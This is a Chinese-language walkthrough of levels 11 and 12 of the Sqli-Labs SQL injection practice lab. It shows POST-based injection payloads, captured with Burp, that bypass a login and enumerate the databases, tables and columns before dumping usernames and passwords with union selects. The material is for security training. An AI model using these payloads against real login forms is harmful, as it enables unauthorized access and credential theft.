Sqli-Labs less11-12教程
less-11
11关以后已经和前几关不同。页面由get方式变成了类似form表单的post方式的登陆界面,我们不能直接看到数据,所以要用到burp抓包.
抓包方式前面已经说过,这里直接使用,我们先输入admin看看:
我们通过上面的数据包可以看到最后一行是post的数据,所以可以在hackbar的post data进行注入:
注意:注释符不能再用--+或者--空格,只能用#,因为前者是在url中使用的
uname=admin' or 1=1# &passwd=admin&submit=Submit
uname=admin' &passwd=admin&submit=Submit
通过上图我们可以明确存在注入漏洞,然后步骤和前面基本一致:
我们假设不知道正确的用户名和密码,查列:uname=a&passwd=a' order by 3#&submit=Submit
uname=a&passwd=a' order by 2#&submit=Submit
uname=a&passwd=a' union select 1,2 #&submit=Submit
由以上可知,数据表中有两个字段,然后按照以前的步骤:
爆库:uname=a&passwd=a' union select 1,(select group\_concat(schema\_name)from information\_schema.schemata) #&submit=Submit
查看当前数据库:uname=a&passwd=a' union select 1,database() #&submit=Submit
爆表:uname=a&passwd=a' union select 1,(select group\_concat(table\_name)from information\_schema.tables where table\_schema=0x7365637572697479) #&submit=Submit
获取users表中的字段内容:uname=a&passwd=a' union select 1,(select group\_concat(column\_name)from information\_schema.columns where table\_name=0x7573657273) #&submit=Submit
获取users表中的用户名和密码:uname=a&passwd=a' union select 1,(select group\_concat(concat\_ws('-',username,password))from security.users) #&submit=Submit
less-12
第12关与11关基本完全一致,只有数据包裹的格式不同,变成了(“a”),其他步骤完全一样,所以这里放一下最后的结果语句:
uname=a&passwd=a") union select 1,(select group\_concat(concat\_ws(0x2d,username,password))from security.users) #&submit=Submit
0x2d代表-